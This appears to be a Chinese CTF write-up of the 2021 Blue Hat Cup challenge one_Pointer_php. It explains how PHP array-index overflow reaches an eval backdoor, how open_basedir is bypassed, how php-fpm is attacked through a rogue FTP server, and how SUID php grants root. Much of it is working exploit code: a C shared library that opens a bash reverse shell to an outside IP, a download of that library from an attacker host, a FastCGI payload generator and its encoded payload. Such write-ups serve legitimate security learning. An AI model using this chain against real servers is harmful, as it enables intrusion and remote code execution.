[2021 蓝帽杯]one_Pointer_php赛后复盘

• 前言

• PHP 数组溢出

• 攻击 php-fpm 绕过 disable_functions

• SUID 提权

• Ending......

前言

对于这场“广告杯”我也不想说啥了。。。太拉了。。。

很好的一个题，偏向于真实的实战环境，但是当时没有做出来真的很可惜，幸好赵总在buuctf上复现了这道题，可以让我这个菜鸡得以复现。

进入题目，冬奥会火炬？？？：

题目给了源码，源码就两个，都非常简单。

• user.php

<?php
class User{
 public $count;
}
?>

就定义了一个简单User类。

• add_api.php

<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
 $count[++$user->count]=1;    // 数组$count的第几个属性赋值为1
 if($count[]=1){
  $user->count+=1;
  setcookie("data",serialize($user));
 }else{
  eval($_GET["backdoor"]);
 }
}else{
 $user=new User;
 $user->count=1;
 setcookie("data",serialize($user));
}
// $_COOKIE["data"]的默认值是 O:4:"User":1:{s:5:"count";i:1;}
?>

是个后门文件，只要能绕过第5行的 $count[]=1 即可进入到后面的 eval 代码执行处。但是这里是一个赋值语句（一个等号），并且赋的值是1，所以按理说不管怎样返回的都是 True：

也就没法进入到 else 语句中的代码执行阶段了，那我们便要想办法绕过这里。

PHP 数组溢出

在 PHP 中，整型数是有一个范围的，对于32位的操作系统，最大的整型是2147483647，即2的31次方，最小为-2的31次方。如果给定的一个整数超出了整型（integer）的范围，将会被解释为浮点型（float）。同样如果执行的运算结果超出了整型（integer）范围，也会返回浮点型（float）。

<?php
$a = 123445566;
$b = 9223372036854775807;
$c = 9223372036854775808;
$d = 50000000000000 * 1000000;

var_dump($a);
var_dump($b);
var_dump($c);
var_dump($d);

执行得到结果为：

int(123445566)
int(9223372036854775807)
float(9.2233720368548E+18)
float(5.0E+19)

但是这又什么用呢？我们继续往下看。

<?php
$userconut = 9223372036854775806;
$count[++$userconut]=1;
$count[]=1;
print_r($count);

得到：

PHP Warning:  Cannot add element to the array as the next element is already occupied in C:UsersLiuSirDesktopwwwindex.php on line 4

Warning: Cannot add element to the array as the next element is already occupied in C:UsersLiuSirDesktopwwwindex.php on line 4
Array
(
    [9223372036854775807] => 1
)
[Finished in 0.2s]

发现会报错，那我们便可以利用这一点来绕过。

payload：

O:4:"User":1:{s:5:"count";i:9223372036854775806;}

然后修改 Cookie 后便可以进行代码执行了：

查看 phpinfo，发现题目做了以下限制：

• disable_functions：

过滤了各种命令执行函数，但是像 scandir、file_get_contents、file_put_contents 等目录和文件操作函数没有被过滤

• open_basedir

设置了 open_basedir，只能访问 Web 目录，但我们可以利用chdir()与ini_set()组合来绕过 open_basedir：

/add_api.php?backdoor=chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

在根目录里发现了 flag。

尝试使用 file_get_contents() 等函数读取均失败，猜测是出题人对flag的权限做了限制。那我们就要想办法提权了，但是要提权则必须先拿到shell执行命令，也就是得要先绕过disable_functions。

攻击 php-fpm 绕过 disable_functions

这里尝试了很多方法绕过disable_functions均失败，当我读取 /proc/self/cmdline 时发现当前进程是 php-fpm：

所以说这道题应该就是通过攻击 php-fpm 来绕过 disable_functions 了。

首先查看nginx配置文件：

发现 php-fpm 绑定在了本地9001端口上。

好了，既然我们可以通过eval执行任意代码，那我们便可以构造恶意代码进行ssrf，利用ssrf攻击本地的 php-fpm。我们可以通过在vps上搭建恶意的ftp，骗取目标主机将payload转发到自己的9001端口上，从而执行命令。这是在之前复现Laravel Debug mode RCE（CVE-2021-3129）漏洞时学到的一个思路：https://whoamianony.top/2021/01/15/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Laravel/Laravel%20Debug%20mode%20RCE%EF%BC%88CVE-2021-3129%EF%BC%89%E5%88%A9%E7%94%A8%E5%A4%8D%E7%8E%B0/#%E5%88%A9%E7%94%A8FTP%E6%94%BB%E5%87%BBPHP-FPM

简单说一下原理，我们可以通过eval()构造一下代码：

file_put_contents($file,$data);

众所周知，如果我们能向 PHP-FPM 发送一个任意的二进制数据包，就可以在机器上执行代码。

FTP 协议允许通过 TCP 发送二进制数据包，更准确的说是该协议的被动模式，即：如果一个客户端试图从FTP服务器上读取一个文件（或写入），服务器会通知客户端将文件的内容读取（或写）到一个特定的IP和端口上。而且，这里对这些IP和端口没有进行必要的限制。例如，服务器可以告诉客户端连接到自己的某一个端口，如果它愿意的话。

现在，如果我们传入 ?file=ftp://evil-server/file.txt&data=payload ，会发生以下情况：

首先通过 file_put_contents() 函数连接到我们的FTP服务器，并试图使用 file_put_contents() 把文件上传上去。但是我们搭建的恶意的ftp服务器将告诉它把文件发送到 127.0.0.1:9000。这样，我们就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包，从而执行代码，造成SSRF了。

下面我们来演示一下攻击过程。

首先尝试使用gopherus生成的攻击php-fpm的payload失败，然后尝试通过加载恶意.so的方式。

先编写一个扩展（网上都有，亘古不变）：

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1'");
}

编译

gcc hpdoger.c -fPIC -shared -o hpdoger.so

将生成的 hpdoger.so 上传到目标主机的 /tmp 目录中：

/add_api.php?backdoor=mkdir('css');chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy('http://47.101.57.72:8848/hpdoger.so

然后再自己vps上使用以下脚本搭建一个恶意的ftp服务器：

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcomen')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.n')
#Size /
conn.send(b'550 Could not get the file size.n')
#EPSV (1)
conn.send(b'150 okn')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)n') #STOR / (2)
conn.send(b'150 Permission denied.n')
#QUIT
conn.send(b'221 Goodbye.n')
conn.close()

然后再vps上开启一个nc监听，用于接收反弹的shell：

然后执行如下脚本生成攻击 php-fpm 所需要的payload：

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
//        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        echo('data='.urlencode($request));
//        fwrite($this->_sock, $request);
//        do {
//            $resp = $this->readPacket();
//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
//                $response .= $resp['content'];
//            }
//        } while ($resp && $resp['type'] != self::END_REQUEST);
//        var_dump($resp);
//        if (!is_array($resp)) {
//            throw new Exception('Bad request');
//        }
//        switch (ord($resp['content']{4})) {
//            case self::CANT_MPX_CONN:
//                throw new Exception('This app can't multiplex [CANT_MPX_CONN]');
//                break;
//            case self::OVERLOADED:
//                throw new Exception('New request rejected; too busy [OVERLOADED]');
//                break;
//            case self::UNKNOWN_ROLE:
//                throw new Exception('Role value not known [UNKNOWN_ROLE]');
//                break;
//            case self::REQUEST_COMPLETE:
//                return $response;
//        }
    }
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
//    die("Check your inputn");
//}
//if (!isset($_REQUEST['filepath'])) {
//    $filepath = __FILE__;
//}else{
//    $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/add_api.php";
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system($_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "unserialize_callback_func = systemnextension_dir = /tmpnextension = hpdoger.sondisable_classes = ndisable_functions = nallow_url_include = Onnopen_basedir = /nauto_prepend_file = ";
$params = array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD'    => 'POST',
    'SCRIPT_FILENAME'   => $filepath,
    'SCRIPT_NAME'       => $req,
    'QUERY_STRING'      => 'command=whoami',
    'REQUEST_URI'       => $uri,
    'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
    'PHP_VALUE'         => $php_value,
    'SERVER_SOFTWARE'   => '80sec/wofeiwo',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9001',
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'localhost',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $urinn";
echo $client->request($params, $code)."n";
?>

得到：

%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3F%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

最后构造如下恶意代码将生成的payload发送到恶意的ftp服务器上：

/add_api.php?backdoor=$file = $_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp://[email protected]:23/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3F%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9000%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

此时当ftp建立连接后，会通过被动模式将payload重定向到目标主机本地9001端口的php-fpm上，并成功反弹shell：

SUID 提权

但此时仍然读不了flag：

接下来就是提权阶段了，最常见的就是suid提权了。

首先查看具有suid的命令

find / -perm -u=s -type f 2>/dev/null

发现php就有suid，直接进入交互模式执行代码，得到flag：

chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');

Ending......